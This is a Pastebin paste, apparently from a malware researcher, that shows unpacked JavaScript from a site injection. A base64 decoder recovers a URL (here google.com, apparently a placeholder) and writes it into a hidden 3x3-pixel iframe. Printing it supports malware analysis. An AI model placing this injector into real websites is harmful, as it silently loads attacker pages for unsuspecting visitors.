Advertisement
MalwareBreakdown

Unpacked

Mar 11th, 2018
14,808
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.39 KB | None | 0 0
  1. var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";
  2.  
  3. function decode64(input) {
  4. var output = "";
  5. var chr1, chr2, chr3 = "";
  6. var enc1, enc2, enc3, enc4 = "";
  7. var i = 0;
  8. var base64test = /[^A-Za-z0-9\+\/\=]/g;
  9. if (base64test.exec(input)) {}
  10. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  11. do {
  12. enc1 = keyStr.indexOf(input.charAt(i++));
  13. enc2 = keyStr.indexOf(input.charAt(i++));
  14. enc3 = keyStr.indexOf(input.charAt(i++));
  15. enc4 = keyStr.indexOf(input.charAt(i++));
  16. chr1 = (enc1 << 2) | (enc2 >> 4);
  17. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  18. chr3 = ((enc3 & 3) << 6) | enc4;
  19. output = output + String.fromCharCode(chr1);
  20. if (enc3 != 64) {
  21. output = output + String.fromCharCode(chr2)
  22. }
  23. if (enc4 != 64) {
  24. output = output + String.fromCharCode(chr3)
  25. }
  26. chr1 = chr2 = chr3 = "";
  27. enc1 = enc2 = enc3 = enc4 = ""
  28. } while (i < input.length);
  29. return unescape(output)
  30. }(function() {
  31. var d = document;
  32. var w = '3';
  33. var h = '3';
  34. var id = Math.floor(Math.random() * 9999);
  35. var src = '' + decode64('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbQ==') + '';
  36. d.write('<iframe style="padding:0px;border:none" src="' + src + '" width="' + w + '" height="' + h + '"></iframe>')
  37. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement